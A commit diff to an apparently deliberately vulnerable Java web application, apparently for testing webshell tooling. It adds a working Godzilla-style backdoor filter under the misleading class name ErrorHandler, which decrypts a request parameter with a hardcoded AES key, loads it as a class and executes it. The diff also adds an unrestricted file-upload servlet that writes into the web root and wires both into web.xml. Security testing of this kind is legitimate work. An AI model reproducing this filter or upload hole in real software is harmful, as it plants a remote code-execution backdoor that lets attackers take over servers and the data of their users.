feat: add godzilla manager and integration container test

vul-webapp/build.gradle

@@ -3,12 +3,16 @@ plugins {
 }
 
 group = 'com.reajason.javaweb.vul'
-version = '1.0-SNAPSHOT'
+version = ''
 
-dependencies {
-    providedCompile "javax.servlet:servlet-api:2.5"
+java {
+    toolchain {
+        languageVersion = JavaLanguageVersion.of(8)
+    }
 }
 
-test {
-    useJUnitPlatform()
+dependencies {
+    implementation 'commons-fileupload:commons-fileupload:1.5'
+    providedCompile "javax.servlet:servlet-api:2.5"
+    providedCompile 'jakarta.servlet:jakarta.servlet-api:5.0.0'
 }

vul-webapp/src/main/java/ErrorHandler.java

@@ -0,0 +1,129 @@
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.*;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/26
+ */
+public class ErrorHandler extends ClassLoader implements Filter {
+    public String key = "3c6e0b8a9c15224a";
+    public String pass = "pass";
+    public String md5 = "11CD6A87589841636C37AC826A2A04BC";
+    public String headerName = "User-Agent";
+    public String headerValue = "test";
+
+    public ErrorHandler() {
+    }
+
+    public ErrorHandler(ClassLoader var1) {
+        super(var1);
+    }
+
+    public Class<?> Q(byte[] cb) {
+        return super.defineClass(cb, 0, cb.length);
+    }
+
+    public byte[] x(byte[] s, boolean m) {
+        try {
+            Cipher c = Cipher.getInstance("AES");
+            c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES"));
+            return c.doFinal(s);
+        } catch (Exception var41) {
+            return null;
+        }
+    }
+
+    @Override
+    public void init(FilterConfig filterConfig) throws ServletException {
+
+    }
+
+    @Override
+    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
+        HttpServletRequest request = (HttpServletRequest) servletRequest;
+        HttpServletResponse response = (HttpServletResponse) servletResponse;
+
+        try {
+            if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
+                HttpSession session = request.getSession();
+                byte[] data = base64Decode(request.getParameter(this.pass));
+                data = this.x(data, false);
+                if (session.getAttribute("payload") == null) {
+                    session.setAttribute("payload", (new ErrorHandler(this.getClass().getClassLoader())).Q(data));
+                } else {
+                    request.setAttribute("parameters", data);
+                    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+
+                    Object f;
+                    try {
+                        f = ((Class) session.getAttribute("payload")).newInstance();
+                    } catch (IllegalAccessException | InstantiationException e) {
+                        throw new RuntimeException(e);
+                    }
+
+                    f.equals(arrOut);
+                    f.equals(request);
+                    response.getWriter().write(this.md5.substring(0, 16));
+                    f.toString();
+                    response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
+                    response.getWriter().write(this.md5.substring(16));
+                }
+            } else {
+                chain.doFilter(servletRequest, servletResponse);
+            }
+        } catch (Exception var12) {
+            chain.doFilter(servletRequest, servletResponse);
+        }
+
+    }
+
+    @Override
+    public void destroy() {
+
+    }
+
+    public static String base64Encode(byte[] bs) throws Exception {
+        String value = null;
+
+        try {
+            Class<?> base64 = Class.forName("java.util.Base64");
+            Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
+            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+        } catch (Exception var61) {
+            try {
+                Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
+                Object encoder = base64.newInstance();
+                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+            } catch (Exception var5) {
+            }
+        }
+
+        return value;
+    }
+
+    public static byte[] base64Decode(String bs) {
+        byte[] value = null;
+
+        try {
+            Class<?> base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var61) {
+            try {
+                Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception var5) {
+            }
+        }
+
+        return value;
+    }
+}

vul-webapp/src/main/java/UploadServlet.java

@@ -0,0 +1,49 @@
+import org.apache.commons.fileupload.FileItem;
+import org.apache.commons.fileupload.disk.DiskFileItemFactory;
+import org.apache.commons.fileupload.servlet.ServletFileUpload;
+
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.File;
+import java.io.IOException;
+import java.util.List;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/26
+ */
+public class UploadServlet extends HttpServlet {
+
+    private static final String TEMP_DIRECTORY = "/tmp";
+    private static final String UPLOAD_DIRECTORY = "/";
+    private static final int MAX_FILE_SIZE = 1024 * 1024 * 10;
+    private static final int MAX_REQUEST_SIZE = 1024 * 1024 * 50;
+
+    @Override
+    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
+        if (ServletFileUpload.isMultipartContent(request)) {
+            DiskFileItemFactory factory = new DiskFileItemFactory();
+            factory.setSizeThreshold(1024 * 1024);
+            factory.setRepository(new File(TEMP_DIRECTORY));
+            ServletFileUpload upload = new ServletFileUpload(factory);
+            upload.setFileSizeMax(MAX_FILE_SIZE);
+            upload.setSizeMax(MAX_REQUEST_SIZE);
+            try {
+                List<FileItem> items = upload.parseRequest(request);
+                for (FileItem item : items) {
+                    if (!item.isFormField()) {
+                        String fileName = new File(item.getName()).getName();
+                        String uploadPath = getServletContext().getRealPath(UPLOAD_DIRECTORY) + fileName;
+                        File uploadFile = new File(uploadPath);
+                        item.write(uploadFile);
+                        response.getWriter().println("file upload success: " + uploadPath);
+                    }
+                }
+            } catch (Exception e) {
+                response.getWriter().println("file upload failed: " + e.getMessage());
+            }
+        }
+    }
+}

vul-webapp/src/main/webapp/WEB-INF/web.xml

@@ -5,4 +5,31 @@
     <welcome-file-list>
         <welcome-file>index.html</welcome-file>
     </welcome-file-list>
+
+    <servlet>
+        <servlet-name>test</servlet-name>
+        <servlet-class>TestServlet</servlet-class>
+    </servlet>
+    <servlet-mapping>
+        <servlet-name>test</servlet-name>
+        <url-pattern>/test</url-pattern>
+    </servlet-mapping>
+
+    <servlet>
+        <servlet-name>upload</servlet-name>
+        <servlet-class>UploadServlet</servlet-class>
+    </servlet>
+    <servlet-mapping>
+        <servlet-name>upload</servlet-name>
+        <url-pattern>/upload</url-pattern>
+    </servlet-mapping>
+
+    <filter>
+        <filter-name>godzilla</filter-name>
+        <filter-class>ErrorHandler</filter-class>
+    </filter>
+    <filter-mapping>
+        <filter-name>godzilla</filter-name>
+        <url-pattern>/test_filter</url-pattern>
+    </filter-mapping>
 </web-app>